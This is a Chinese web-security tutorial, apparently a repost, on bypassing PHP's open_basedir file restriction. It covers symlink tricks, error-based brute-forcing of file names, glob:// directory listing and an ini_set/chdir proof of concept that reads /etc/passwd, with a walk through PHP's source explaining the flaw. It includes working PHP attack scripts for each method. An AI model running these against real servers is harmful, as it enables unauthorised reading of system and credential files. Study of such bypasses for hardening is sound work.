【web安全】你的open_basedir安全吗?
一、open_basedir
看一下php.ini里面的描述:
; open_basedir, if set, limits all file operations to the defined directory ; and below. This directive makes most sense if used in a per-directory or ; per-virtualhost web server configuration file. This directive is ; *NOT* affected by whether Safe Mode is turned On or Off.open_basedir可將用戶訪問文件的活動范圍限制在指定的區域,通常是其目錄的路徑,也可用符號"."來代表當前目錄。
注意用open_basedir指定的限制實際上是前綴,而不是目錄名。(其實我也是才知道的)
比如open_basedir = /dir/user", 那么目錄 “/dir/user” 和 "/dir/user1"都是可以訪問的,所以如果要將訪問限制在僅為指定的目錄,可以將open_basedir = /dir/user/
二、Bypass
命令執行
為什么選命令執行,因為open_basedir和命令執行無關,就可以直接獲取目標文件。
如果遇到disable_functions,就多換幾個函數;如果關鍵字被過濾,辦法也很多,可以參考大佬文章
【安全技術學習文檔】
syslink() php 4/5/7/8
symlink(string $target, string $link): bool原理是創建一個鏈接文件 aaa 用相對路徑指向 A/B/C/D,再創建一個鏈接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其實就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。這時候刪除 aaa 文件再創建 aaa 目錄但是 abc 還是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就進入了路徑/etc/passwd
payload 構造的注意點就是:要讀的文件需要往前跨多少路徑,就得創建多少層的子目錄,然后輸入多少個../來設置目標文件。
暴力破解
realpath()
realpath是用來將參數path所指的相對路徑轉換成絕對路徑,然后存于參數resolved_path所指的字符串 數組 或 指針 中的一個函數。 如果resolved_path為NULL,則該函數調用malloc分配一塊大小為PATH_MAX的內存來存放解析出來的絕對路徑,并返回指向這塊區域的指針。
有意思的是,在開啟open_basedir后,當我們傳入的路徑是一個不存在的文件(目錄)時,它將返回false;當我們傳入一個不在open_basedir里的文件(目錄)時,他將拋出錯誤(File is not within the allowed path(s))。
如果一直爆破,是特別麻煩的。。。所以可以借助通配符來進行爆破,條件:Windows環境。
<?php highlight_file ( __FILE__ ); ini_set ( 'open_basedir' , dirname ( __FILE__ )); printf ( "<b>open_basedir: %s</b><br />" , ini_get ( 'open_basedir' )); set_error_handler ( 'isexists' ); $dir = 'd:/WEB/' ; $file = '' ; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ; for ( $i= 0 ; $i < strlen ( $chars ); $i ++ ) { $file = $dir . $chars [ $i ] . '<><' ; realpath ( $file ); } function isexists ( $errno , $errstr ) { $regexp = '/File((.*)) is not within/' ; preg_match ( $regexp , $errstr , $matches ); if ( isset ( $matches [ 1 ])) { printf ( "%s <br/>" , $matches [ 1 ]); } } ?>bindtextdomain()以及SplFileInfo::getRealPath()
除了realpath(),還有bindtextdomain()和SplFileInfo::getRealPath()作用類似。同樣是可以得到絕對路徑。
bindtextdomain(string $domain, ?string $directory): string|false當$directory存在時,會返回$directory的值,若不存在,則返回false。
另外值得注意的是,Windows環境下是沒有bindtextdomain函數的,而在Linux環境下是存在的。
SplFileInfo 類為單個文件的信息提供高級面向對象的接口,SplFileInfo::getRealPath 類方法是用于獲取文件的絕對路徑。
為什么把這兩個放在一塊?因為和上面的 bindtextdomain 一樣,是基于報錯判斷的,然后再進行爆破。
<?php ini_set ( 'open_basedir' , dirname ( __FILE__ )); printf ( "<b>open_basedir: %s</b><br />" , ini_get ( 'open_basedir' )); $basedir = 'D:/test/' ; $arr = array (); $chars = 'abcdefghijklmnopqrstuvwxyz0123456789' ; for ( $i= 0 ; $i < strlen ( $chars ); $i ++ ) { $info = new SplFileInfo ( $basedir . $chars [ $i ] . '<><' ); $re = $info-> getRealPath (); if ( $re ) { dump ( $re ); } } function dump ( $s ){ echo $s . '<br/>' ; ob_flush (); flush (); } ?>glob:// 偽協議
glob:// — 查找匹配的文件路徑模式
設計缺陷導致的任意文件名列出 :由于PHP在設計的時候(可以通過源碼來進行分析),對于glob偽協議的實現過程中不檢測open_basedir,以及safe_mode也是不會檢測的,由此可利用glob:// 羅列文件名
(也就是說在可讀權限下,可以得到文件名,但無法讀取文件內容;也就是單純的羅列目錄,能用來繞過open_basedir)
單用 glob:// 是沒有辦法繞過的,要結合其它函數來實現
DirectoryIterator+glob://
DirectoryIterator 是php5中增加的一個類,為用戶提供一個簡單的查看目錄的接口,結合這兩個方式,我們就可以在php5.3以后版本對目錄進行列舉。
<?php highlight_file ( __FILE__ ); printf ( '<b>open_basedir : %s </b><br />' , ini_get ( 'open_basedir' )); $a = $_GET [ 'a' ]; $b = new DirectoryIterator ( $a ); foreach ( $b as $c ){ echo ( $c-> __toString () . '<br>' ); } ?>即可列出根目錄下的文件,但問題是,只能列舉出根目錄和open_basedir指定目錄下文件,其他目錄不可。
opendir()+readdir()+glob://
opendir() 函數為打開目錄句柄,readdir() 函數為從目錄句柄中讀取條目。結合兩個函數即可列舉根目錄中的文件:
<?php highlight_file ( __FILE__ ); $a = $_GET [ 'c' ]; if ( $b = opendir ( $a ) ) { while ( ( $file = readdir ( $b )) !== false ) { echo $file . "<br>" ; } closedir ( $b ); } ?>同樣,只能列舉出根目錄和open_basedir指定目錄下文件,其他目錄不可。
姿勢最騷的——利用ini_set()繞過
ini_set()
ini_set()用來設置php.ini的值,在函數執行的時候生效,腳本結束后,設置失效。無需打開php.ini文件,就能修改配置。函數用法如下:
ini_set ( string $varname , string $newvalue ) : stringPOC
<?php highlight_file ( __FILE__ ); mkdir ( 'Andy' ); //創建目錄 chdir ( 'Andy' ); //切換目錄 ini_set ( 'open_basedir' , '..' ); //把open_basedir切換到上層目錄 chdir ( '..' ); //切換到根目錄 chdir ( '..' ); chdir ( '..' ); ini_set ( 'open_basedir' , '/' ); //設置open_basedir為根目錄 echo file_get_contents ( '/etc/passwd' ); //讀取/etc/passwd從php底層去研究ini_set屬于web-pwn的范疇了,這一塊我真的不太會,所以去請教了一位二進制的師傅,指導了一下入手點。
if ( php_check_open_basedir_ex ( ptr , 0 ) != 0 ) {/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */efree ( pathbuf );return FAILURE ;}php_check_open_basedir_ex()如果想要利用ini_set覆蓋之前的open_basedir,那么必須通過該校驗。
那我們跟進此函數
if ( strlen ( path ) > ( MAXPATHLEN - 1 )) {php_error_docref ( NULL , E_WARNING , "File name is longer than the maximum allowed path length on this platform (%d): %s" , MAXPATHLEN , path );errno = EINVAL ;return - 1 ; } #define PATH_MAX 1024 /* max bytes in pathname */該函數會判斷路徑名稱是否過長,在官方設定中給定范圍是小于1024。
此外,另一個檢測函數php_check_specific_open_basedir(),同樣我們繼續跟進
if ( strcmp ( basedir , "." ) || ! VCWD_GETCWD ( local_open_basedir , MAXPATHLEN )) {/* Else use the unmodified path */strlcpy ( local_open_basedir , basedir , sizeof ( local_open_basedir ));} path_len = strlen ( path ); if ( path_len > ( MAXPATHLEN - 1 )) {/* empty and too long paths are invalid */return - 1 ; }比對目錄,并給local_open_basedir進行賦值,并檢查目錄名的長度是否合法,接下來,利用expand_filepath()將傳入的path,以絕對路徑的格式保存在resolved_name,將local_open_basedir的值存放于resolved_basedir,然后二者進行比較。
if ( strncmp ( resolved_basedir , resolved_name , resolved_basedir_len ) == 0 ) {if ( resolved_name_len > resolved_basedir_len && resolved_name [ resolved_basedir_len - 1 ] != PHP_DIR_SEPARATOR ) { return - 1 ;} else {/* File is in the right directory */return 0 ;} } else {/* /openbasedir/ and /openbasedir are the same directory */if ( resolved_basedir_len == ( resolved_name_len + 1 ) && resolved_basedir [ resolved_basedir_len - 1 ] == PHP_DIR_SEPARATOR ) { if ( strncasecmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) {if ( strncmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) {return 0 ;}}return - 1 ;} }進行比較的兩個值均是由expand_filepath函數生成的,因此要實現bypass?php_check_open_basedir_ex,關鍵就是bypass?expand_filepath
還是一樣,跟進expand_filepath函數
根據師傅所說,在我們跟進到virtual_file_ex得到關鍵語句:
if ( ! IS_ABSOLUTE_PATH ( path , path_length )) {if ( state-> cwd_length == 0 ) {/* 保存 relative path */start = 0 ;memcpy ( resolved_path , path , path_length + 1 );} else {int state_cwd_length = state-> cwd_length ;state-> cwd_length = path_length ;memcpy ( state-> cwd , resolved_path , state-> cwd_length + 1 );是目錄拼接操作,如果path不是絕對路徑,同時state->cwd_length == 0長度為0,那么會將path作為絕對路徑,儲存在resolved_path。否則將會在state->cwd后拼接,那么重點就在于path_length
path_length = tsrm_realpath_r ( resolved_path , start , path_length , & ll , & t , use_realpath , 0 , NULL ); /*tsrm_realpath_r():刪除雙反斜線 . .. 和前一個目錄*/總的來說,expand_filepath()在保存相對路徑和絕對路徑的時候,而open_basedir()如果為相對路徑的話,是會實時變化的,這就是問題所在。在POC中每次目錄操作都會進行一次open_basedir的比對,即php_check_open_basedir_ex。由于相對路徑的問題,每次open_basedir的目錄全都會上跳。
比如初始設定open_basedir為/a/b/c/d,第一次chdir后變為/a/b/c,第二次chdir后變為/a/b,第三次chdir后變為/a,第四次chdir后變為/,那么這時候再進行ini_set,調整open_basedir為/即可通過php_check_open_basedir_ex的校驗,成功覆蓋,導致我們可以bypass open_basedir。
三、總結
其實我感覺如果直接能RCE,那肯定最好;然后相比之下最后一種姿勢最騷;暴力破解應該是最繁瑣的,不過也不失為一種方法的ma。
總結
以上是生活随笔為你收集整理的【web安全】你的open_basedir安全吗?的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 你知道钓鱼网站的形成步骤吗?一次网络钓鱼
- 下一篇: 【网络安全】Agent内存马的自动分析与